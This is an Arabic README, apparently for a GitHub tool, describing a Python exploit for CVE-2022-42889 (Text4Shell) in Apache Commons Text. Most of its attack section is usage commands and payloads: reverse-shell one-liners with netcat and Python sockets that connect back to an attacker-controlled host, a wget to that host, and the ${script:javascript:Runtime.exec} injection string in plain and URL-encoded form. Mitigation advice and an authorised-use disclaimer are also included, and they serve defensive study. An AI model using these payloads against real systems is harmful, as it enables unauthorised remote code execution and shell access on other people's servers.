
أداة استغلال بلغة بايثون لـ CVE-2022-42889 (Text4Shell) تتيح تنفيذ الأوامر عن بعد عبر استيفاء Apache Commons Text. تدعم إنشاء شل عكسي، SSRF، وتنفيذ أوامر مخصصة.
أداة استغلال بلغة بايثون لـ CVE-2022-42889 (Text4Shell)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Commons Text الإصدارات الأقدم من 1.10.0.
تستهدف هذه الأداة CVE-2022-42889 (Text4Shell)، وهي ثغرة في Apache Commons Text تسمح بـ تنفيذ الأوامر عن بُعد (RCE) من خلال سلاسل إدخال مصممة خصيصاً تعالجها StringLookup interpolator.
تشبه الثغرة في تأثيرها Log4Shell لكنها تؤثر على مكتبة مختلفة. عندما يتم تمرير إدخال يتحكم به المستخدم إلى طرق ضعيفة، يمكن للمهاجم تنفيذ تعليمات برمجية عشوائية على النظام المستهدف.
يوفر Apache Commons Text الربط بين السلاسل من خلال واجهة StringLookup. يتيح interpolator تقييم التعابير ببادئات مختلفة، منها:
${script:javascript:...} - تنفيذ كود JavaScript (محرك Nashorn)${url:UTF-8:...} - جلب عناوين URL (SSRF)${dns:...} - استعلامات DNS| المنتج | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (لـ RCE) | 15+ (Nashorn معطل) |
ملاحظة: إصدارات Java ≥ 15 ليست عرضة لـ RCE عبر البادئة script (Nashorn معطل)، لكنها قد تظل عرضة لـ SSRF عبر البادئات url و dns.
requestsتثبيت التبعيات:
pip install requests
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
| الوسيطة | الوصف | مطلوب |
|---|---|---|
| -t, --target | عنوان IP الهدف | ✅ نعم |
| -p, --port | المنفذ الهدف (الافتراضي: 8080) | ❌ لا |
| -c, --command | الأمر المراد تنفيذه | ✅ نعم |
| --lhost | عنوان IP الخاص بك للشل العكسي | ✅ نعم |
| --lport | المنفذ الخاص بك للشل العكسي | ✅ نعم |
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# تشغيل المستمع
nc -lvnp 4444
# تشغيل الأداة
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
بناء الحمولة: تنشئ الأداة سلسلة خبيثة باستخدام صيغة ${script:javascript:...}:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
ترميز URL: يتم ترميز الأحرف الخاصة في URL لضمان النقل الصحيح:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
طلب HTTP: ترسل الأداة طلب GET إلى:
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
تنفيذ الأمر: إذا كان الهدف ضعيفاً، يقوم بتقييم JavaScript وتنفيذ الأمر.
تحقق مما إذا كان نظامك ضعيفاً:
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
إذا احتوت الاستجابة على 49 بدلاً من ${script:javascript:7*7}، فالنظام ضعيف.
commons-text-*.jar في التطبيققم بترقية Apache Commons Text إلى الإصدار 1.10.0 أو أحدث:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
الترقية إلى Java 15+ (تعطيل محرك JavaScript Nashorn).
التحقق من الإدخال: قم بتنفيذ تحقق صارم من إدخال المستخدم.
تعطيل interpolation: إذا لم يكن ضرورياً، تجنب استخدام StringSubstitutor.createInterpolator().
جدار حماية تطبيقات الويب (WAF): حظر الطلبات التي تحتوي على أنماط ${script:javascript:}.
هذه الأداة لأغراض تعليمية واختبار الأمان المصرح به فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
المساهمات والمشكلات وطلبات الميزات مرحب بها! لا تتردد في زيارة صفحة المشكلات.
استمتع بالاختراق! 🚀